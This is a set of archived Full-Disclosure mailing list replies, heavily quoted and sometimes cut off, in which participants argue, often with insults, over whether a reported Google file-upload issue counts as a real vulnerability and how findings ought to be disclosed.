No, you're saying something's a vulnerability without showing any
indication of how it can be abused.

On Fri, Mar 14, 2014 at 11:00 AM, Nicholas Lemonias.
lem.niko...@googlemail.com wrote:
 The full-disclosure mailing list has really changed. It's full of lamers
 nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.com
 wrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on revisiting  separation
 of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if you
 insist on believing you can DoS an EC2 by uploading files, good luck to you
 then...



 If you can't tell that that is a vulnerability (probably coming from a
 bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no longer
 tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on those
 points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com
 wrote:

 But do you have all the required EH certifications? Try this one from
 the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We are
 also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability +
 Exploitability (PoC) = Confirmed Vulnerability that needs Business
 Impact and Risk Analysis

 So I would probably have reported this Finding as a Weakness (and
 not
 Vulnerability. See: OWASP, WASC-TC, CWE), explaining that it is
 not
 Best Practice (your OWASP link and Cheat Sheets), and even if
 mitigative/compensative security controls (Ref Orange Book),

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Quite funnily, most erratic comments originate from a @gmail.com host. Does
that mean that Google and Co are attacking the researcher ?


On Fri, Mar 14, 2014 at 6:06 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Quite funnily, most erratic comments originate from a @gmail.com host.
 Does that mean that Google and Co are attacking the researcher ?




 On Fri, Mar 14, 2014 at 6:04 PM, Mike Hale eyeronic.des...@gmail.comwrote:

 No, you're saying something's a vulnerability without showing any
 indication of how it can be abused.

 On Fri, Mar 14, 2014 at 11:00 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:
  The full-disclosure mailing list has really changed. It's full of lamers
  nowdays aiming high.
 
 
 
 
 
  On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Says the script kiddie... Beg for some publicity. My customers are FTSE
  100.
 
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
  Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
  To: antisnatchor antisnatc...@gmail.com
 
 
  Says the script kiddie... Beg for some publicity. My customers are FTSE
  100.
 
 
 
 
  On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.com
  wrote:
 
  LOL you're hopeless.
  Good luck with your business. Brave customers!
 
  Cheers
  antisnatchor
 
  Nicholas Lemonias. wrote:
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If I
  was your boss I would fire you.
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
  Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
  To: Mario Vilas mvi...@gmail.com
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If I
  was your boss I would fire you, with a good kick outta the door.
 
 
 
 
 
 
  On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com
 wrote:
 
  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Jerome of Mcafee has made a very valid point on revisiting
  separation
  of duties in this security instance.
 
  Happy to see more professionals with some skills.  Some others have
  also mentioned the feasibility for Denial of Service attacks.
 Remote code
  execution by Social Engineering is also a prominent scenario.
 
 
  Actually, people have been pointing out exactly the opposite. But if
 you
  insist on believing you can DoS an EC2 by uploading files, good luck
 to you
  then...
 
 
 
  If you can't tell that that is a vulnerability (probably coming
 from a
  bunch of CEH's), I feel sorry for those consultants.
 
 
  You're the only one throwing around certifications here. I can no
 longer
  tell if you're being serious or this is a massive prank.
 
 
 
  Nicholas.
 
 
  On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  We are on a different level perhaps. We do certainly disagree on
 those
  points.
  I wouldn't hire you as a consultant, if you can't tell if that is a
  valid vulnerability..
 
 
  Best Regards,
  Nicholas Lemonias.
 
  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com
  wrote:
 
  But do you have all the required EH certifications? Try this one
 from
  the Institute for
  Certified Application Security Specialists:
 http://www.asscert.com/
 
 
  On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Thanks Michal,
 
  We are just trying to improve Google's security and contribute to
  the research community after all. If you are still on EFNet give
 me a shout
  some time.
 
   We have done so and consulted to hundreds of clients including
  Microsoft, Nokia, Adobe and some of the world's biggest
 corporations. We are
  also strict supporters of the ACM code of conduct.
 
  Regards,
  Nicholas Lemonias.
  AISec
 
 
  On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Hi Jerome,
 
  Thank you for agreeing on access control, and separation of
 duties.
 
  However successful exploitation permits arbitrary write() of any
  file of choice.
 
  I could release an exploit code in C Sharp or Python that
 permits
  multiple file uploads of any file/types, if the Google security
 team feels
  that this would be necessary. This is unpaid work, so we are
 not so keen on
  that job.
 
 
 
  On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias
  athiasjer...@gmail.com wrote:
 
  Hi
 
  I concur that we are mainly discussing a terminology problem.
 
  In the context of a Penetration Test or WAPT, this is a
 Finding.
  Reporting this finding

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

LOL I don't work for Google and you can easily verify that.

Also, your XSS PoCs suck, they don't even trigger automatically but the
victim needs to
go with the mouse over the element LOL:
http://packetstormsecurity.com/files/125135/Visa-Europe-Cross-Site-Scripting.html

Lame

Nicholas Lemonias. wrote:
 Quite funnily, most erratic comments originate from a @gmail.com
 http://gmail.com/ host. Does that mean that Google and Co are
 attacking the researcher ?


 On Fri, Mar 14, 2014 at 6:06 PM, Nicholas Lemonias.
 lem.niko...@googlemail.com mailto:lem.niko...@googlemail.com wrote:

 Quite funnily, most erratic comments originate from a @gmail.com
 http://gmail.com host. Does that mean that Google and Co are
 attacking the researcher ?
  
  


 On Fri, Mar 14, 2014 at 6:04 PM, Mike Hale
 eyeronic.des...@gmail.com mailto:eyeronic.des...@gmail.com wrote:

 No, you're saying something's a vulnerability without showing any
 indication of how it can be abused.

 On Fri, Mar 14, 2014 at 11:00 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:
  The full-disclosure mailing list has really changed. It's
 full of lamers
  nowdays aiming high.
 
 
 
 
 
  On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:
 
  Says the script kiddie... Beg for some publicity. My
 customers are FTSE
  100.
 
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
  Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities
 with PoC
  To: antisnatchor antisnatc...@gmail.com
 mailto:antisnatc...@gmail.com
 
 
  Says the script kiddie... Beg for some publicity. My
 customers are FTSE
  100.
 
 
 
 
  On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor
 antisnatc...@gmail.com mailto:antisnatc...@gmail.com
  wrote:
 
  LOL you're hopeless.
  Good luck with your business. Brave customers!
 
  Cheers
  antisnatchor
 
  Nicholas Lemonias. wrote:
 
 
  People can read the report if they like. Can't you even do
 basic things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary
 files. If I
  was your boss I would fire you.
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
  Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
  To: Mario Vilas mvi...@gmail.com mailto:mvi...@gmail.com
 
 
  People can read the report if they like. Can't you even do
 basic things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary
 files. If I
  was your boss I would fire you, with a good kick outta the
 door.
 
 
 
 
 
 
  On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas
 mvi...@gmail.com mailto:mvi...@gmail.com wrote:
 
  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com
 mailto:lem.niko...@googlemail.com wrote:
 
  Jerome of Mcafee has made a very valid point on
 revisiting  separation
  of duties in this security instance.
 
  Happy to see more professionals with some skills.  Some
 others have
  also mentioned the feasibility for Denial of Service
 attacks. Remote code
  execution by Social Engineering is also a prominent
 scenario.
 
 
  Actually, people have been pointing out exactly the
 opposite. But if you
  insist on believing you can DoS an EC2 by uploading
 files, good luck to you
  then...
 
 
 
  If you can't tell that that is a vulnerability (probably
 coming from a
  bunch of CEH's), I feel sorry for those consultants.
 
 
  You're the only one throwing around certifications here.
 I can no longer
  tell if you're being serious or this is a massive prank.
 
 
 
  Nicholas.
 
 
  On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

That's why its called proof of concept, you lamer. Google and Co on the
counter attack. hahaha


On Fri, Mar 14, 2014 at 6:07 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL I don't work for Google and you can easily verify that.

 Also, your XSS PoCs suck, they don't even trigger automatically but the
 victim needs to
 go with the mouse over the element LOL:

 http://packetstormsecurity.com/files/125135/Visa-Europe-Cross-Site-Scripting.html

 Lame


 Nicholas Lemonias. wrote:

 Quite funnily, most erratic comments originate from a @gmail.com host.
 Does that mean that Google and Co are attacking the researcher ?


 On Fri, Mar 14, 2014 at 6:06 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Quite funnily, most erratic comments originate from a @gmail.com host.
 Does that mean that Google and Co are attacking the researcher ?




 On Fri, Mar 14, 2014 at 6:04 PM, Mike Hale eyeronic.des...@gmail.comwrote:

 No, you're saying something's a vulnerability without showing any
 indication of how it can be abused.

 On Fri, Mar 14, 2014 at 11:00 AM, Nicholas Lemonias.
 lem.niko...@googlemail.com wrote:
  The full-disclosure mailing list has really changed. It's full of
 lamers
  nowdays aiming high.
 
 
 
 
 
  On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Says the script kiddie... Beg for some publicity. My customers are
 FTSE
  100.
 
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
  Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
  To: antisnatchor antisnatc...@gmail.com
 
 
  Says the script kiddie... Beg for some publicity. My customers are
 FTSE
  100.
 
 
 
 
  On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.com
 
  wrote:
 
  LOL you're hopeless.
  Good luck with your business. Brave customers!
 
  Cheers
  antisnatchor
 
  Nicholas Lemonias. wrote:
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If
 I
  was your boss I would fire you.
  -- Forwarded message --
  From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:43 PM
  Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
  To: Mario Vilas mvi...@gmail.com
 
 
  People can read the report if they like. Can't you even do basic
 things
  like reading a vulnerability report?
 
  Can't you see that the advisory is about writing arbitrary files. If
 I
  was your boss I would fire you, with a good kick outta the door.
 
 
 
 
 
 
  On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com
 wrote:
 
  On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Jerome of Mcafee has made a very valid point on revisiting
  separation
  of duties in this security instance.
 
  Happy to see more professionals with some skills.  Some others have
  also mentioned the feasibility for Denial of Service attacks.
 Remote code
  execution by Social Engineering is also a prominent scenario.
 
 
  Actually, people have been pointing out exactly the opposite. But
 if you
  insist on believing you can DoS an EC2 by uploading files, good
 luck to you
  then...
 
 
 
  If you can't tell that that is a vulnerability (probably coming
 from a
  bunch of CEH's), I feel sorry for those consultants.
 
 
  You're the only one throwing around certifications here. I can no
 longer
  tell if you're being serious or this is a massive prank.
 
 
 
  Nicholas.
 
 
  On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  We are on a different level perhaps. We do certainly disagree on
 those
  points.
  I wouldn't hire you as a consultant, if you can't tell if that is
 a
  valid vulnerability..
 
 
  Best Regards,
  Nicholas Lemonias.
 
  On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.com
  wrote:
 
  But do you have all the required EH certifications? Try this one
 from
  the Institute for
  Certified Application Security Specialists:
 http://www.asscert.com/
 
 
  On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Thanks Michal,
 
  We are just trying to improve Google's security and contribute
 to
  the research community after all. If you are still on EFNet
 give me a shout
  some time.
 
   We have done so and consulted to hundreds of clients including
  Microsoft, Nokia, Adobe and some of the world's biggest
 corporations. We are
  also strict supporters of the ACM code of conduct.
 
  Regards,
  Nicholas Lemonias.
  AISec
 
 
  On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias.
  lem.niko...@googlemail.com wrote:
 
  Hi Jerome,
 
  Thank you for agreeing on access control, and separation of
 duties.
 
  However successful exploitation permits arbitrary write() of
 any
  file of

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Too bad the findings were manual.. no tools used. raw http communication.

Took me less than 2 minutes to find, following an initial conv I had with
Google Sec Team.


On Fri, Mar 14, 2014 at 6:02 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 You can't even find a cross site scripting on google.

 Find a vuln on Google seems like a dream to some script kiddies.


 On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of lamers
 nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic things
 like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good luck 
 to
 you then...



 If you can't tell that that is a vulnerability (probably coming from
 a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists: http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me a 
 shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest corporations. 
 We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that permits
 multiple file uploads of any file/types, if the Google security team 
 feels
 that this would be necessary. This is unpaid work, so we are not so 
 keen on
 that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this finding
 is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability. Vulnerability
 +
 Exploitability (PoC) = Confirmed Vulnerability that needs
 Business
 Impact and

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Security vulnerabilities need to be published and reported. That's the
spirit.

Attacking the researcher, won't make it go away.


On Fri, Mar 14, 2014 at 6:12 PM, Julius Kivimäki
julius.kivim...@gmail.comwrote:

 Dude, seriously. Just stop.


 2014-03-14 20:02 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 You can't even find a cross site scripting on google.

 Find a vuln on Google seems like a dream to some script kiddies.


 On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of lamers
 nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are FTSE
 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor 
 antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If I
 was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.com wrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote 
 code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good luck 
 to
 you then...



 If you can't tell that that is a vulnerability (probably coming from
 a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is a
 valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists:
 http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute to
 the research community after all. If you are still on EFNet give me 
 a shout
 some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest 
 corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of any
 file of choice.

 I could release an exploit code in C Sharp or Python that
 permits multiple file uploads of any file/types, if the Google 
 security
 team feels that this would be necessary. This is unpaid work, so we 
 are
 not so keen on that job.



 On Fri, Mar 14, 2014 at 6:04 AM, Jerome Athias 
 athiasjer...@gmail.com wrote:

 Hi

 I concur that we are mainly discussing a terminology problem.

 In the context of a Penetration Test or WAPT, this is a Finding.
 Reporting this finding makes sense in this context.

 As a professional, you would have to explain if/how this
 finding is a
 Weakness*, a Violation (/Regulations, Compliance, Policies or
 Requirements[1])
 * I would say Weakness + Exposure = Vulnerability.
 Vulnerability +

Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC

Google is a great service, but according to our proof of concepts (images,
poc's, codes) presented to Softpedia, and verified
by a couple of recognised experts including OWASP - that was a serious
vulnerability.

Now you can say whatever you like, and argue about it. You can argue about
the impact and whatsoever , but that's not the way to deal with security
issues.




On Fri, Mar 14, 2014 at 6:13 PM, Nicholas Lemonias. 
lem.niko...@googlemail.com wrote:

 Security vulnerabilities need to be published and reported. That's the
 spirit.

 Attacking the researcher, won't make it go away.


 On Fri, Mar 14, 2014 at 6:12 PM, Julius Kivimäki 
 julius.kivim...@gmail.com wrote:

 Dude, seriously. Just stop.


 2014-03-14 20:02 GMT+02:00 Nicholas Lemonias. lem.niko...@googlemail.com
 :

 You can't even find a cross site scripting on google.

 Find a vuln on Google seems like a dream to some script kiddies.


 On Fri, Mar 14, 2014 at 6:00 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 The full-disclosure mailing list has really changed. It's full of
 lamers nowdays aiming high.





 On Fri, Mar 14, 2014 at 5:58 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Says the script kiddie... Beg for some publicity. My customers are
 FTSE 100.

 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
  Date: Fri, Mar 14, 2014 at 5:58 PM
 Subject: Re: [Full-disclosure] Fwd: Google vulnerabilities with PoC
 To: antisnatchor antisnatc...@gmail.com


 Says the script kiddie... Beg for some publicity. My customers are
 FTSE 100.




 On Fri, Mar 14, 2014 at 5:55 PM, antisnatchor 
 antisnatc...@gmail.comwrote:

 LOL you're hopeless.
 Good luck with your business. Brave customers!

 Cheers
 antisnatchor

 Nicholas Lemonias. wrote:


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If
 I was your boss I would fire you.
 -- Forwarded message --
 From: Nicholas Lemonias. lem.niko...@googlemail.com
 Date: Fri, Mar 14, 2014 at 5:43 PM
 Subject: Re: [Full-disclosure] Google vulnerabilities with PoC
 To: Mario Vilas mvi...@gmail.com


 People can read the report if they like. Can't you even do basic
 things like reading a vulnerability report?

 Can't you see that the advisory is about writing arbitrary files. If
 I was your boss I would fire you, with a good kick outta the door.






 On Fri, Mar 14, 2014 at 3:55 PM, Mario Vilas mvi...@gmail.comwrote:

 On Fri, Mar 14, 2014 at 12:38 PM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Jerome of Mcafee has made a very valid point on
 revisiting  separation of duties in this security instance.

 Happy to see more professionals with some skills.  Some others have
 also mentioned the feasibility for Denial of Service attacks. Remote 
 code
 execution by Social Engineering is also a prominent scenario.


 Actually, people have been pointing out exactly the opposite. But if
 you insist on believing you can DoS an EC2 by uploading files, good 
 luck to
 you then...



 If you can't tell that that is a vulnerability (probably coming
 from a bunch of CEH's), I feel sorry for those consultants.


 You're the only one throwing around certifications here. I can no
 longer tell if you're being serious or this is a massive prank.



 Nicholas.


 On Fri, Mar 14, 2014 at 10:45 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 We are on a different level perhaps. We do certainly disagree on
 those points.
 I wouldn't hire you as a consultant, if you can't tell if that is
 a valid vulnerability..


 Best Regards,
 Nicholas Lemonias.

 On Fri, Mar 14, 2014 at 10:10 AM, Mario Vilas mvi...@gmail.comwrote:

 But do you have all the required EH certifications? Try this one
 from the Institute for
 Certified Application Security Specialists:
 http://www.asscert.com/


 On Fri, Mar 14, 2014 at 7:41 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Thanks Michal,

 We are just trying to improve Google's security and contribute
 to the research community after all. If you are still on EFNet give 
 me a
 shout some time.

  We have done so and consulted to hundreds of clients including
 Microsoft, Nokia, Adobe and some of the world's biggest 
 corporations. We
 are also strict supporters of the ACM code of conduct.

 Regards,
 Nicholas Lemonias.
 AISec


 On Fri, Mar 14, 2014 at 6:29 AM, Nicholas Lemonias. 
 lem.niko...@googlemail.com wrote:

 Hi Jerome,

 Thank you for agreeing on access control, and separation of
 duties.

 However successful exploitation permits arbitrary write() of
 any file of choice.

 I could release an exploit code in C Sharp or Python that
 permits multiple file uploads of any file/types, if the Google 
 security
